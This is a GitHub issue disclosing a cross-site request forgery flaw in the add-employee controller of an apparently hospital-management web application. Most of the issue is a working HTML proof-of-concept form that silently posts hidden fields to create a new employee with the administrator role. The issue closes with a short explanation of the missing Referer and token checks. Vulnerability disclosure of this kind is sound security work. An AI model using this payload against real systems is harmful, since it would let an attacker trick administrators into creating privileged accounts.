Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a csrf vulnerability in src/main/java/com/project/controller/administrator/AddEmployeeController.java. #28

Open
xuwudi666 opened this issue Apr 12, 2024 · 0 comments

Comments

@xuwudi666
Copy link

code
csrf payload:

<title>csrf</title>

csrf test!

    <form action="http://10.25.10.161:8080/HospitalManagement_war_exploded/addEmployee.html" method="POST">
        <input name="firstName" value="test" type="hidden"/>
        <input name="middleName" value="test" type="hidden"/>
        <input name="lastName" value="test" type="hidden"/>
        <input name="birthdate" value="1994-06-08" type="hidden"/>
        <input name="gender" value="female" type="hidden"/>
        <input name="email" value="123123123%40qq.com" type="hidden"/>
        <input name="mobileNo" value="111111111" type="hidden"/>
        <input name="adharNo" value="11111111" type="hidden"/>
        <input name="country" value="test" type="hidden"/>
        <input name="state" value="test" type="hidden"/>
        <input name="city" value="test" type="hidden"/>
        <input name="residentialAddress" value="test" type="hidden"/>
        <input name="permanentAddress" value="test" type="hidden"/>
        <input name="role" value="administrator" type="hidden"/>
        <input name="qualification" value="test" type="hidden"/>
        <input name="specialization" value="test" type="hidden"/>
        <input type="submit" value="click me!"/>
    </form>
</body>

Due to the backend not checking the Referer of the request and not using CSRF tokens to prevent CSRF vulnerabilities, it is possible to induce administrators to perform high-privileged operations.
csrf2
csrf3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant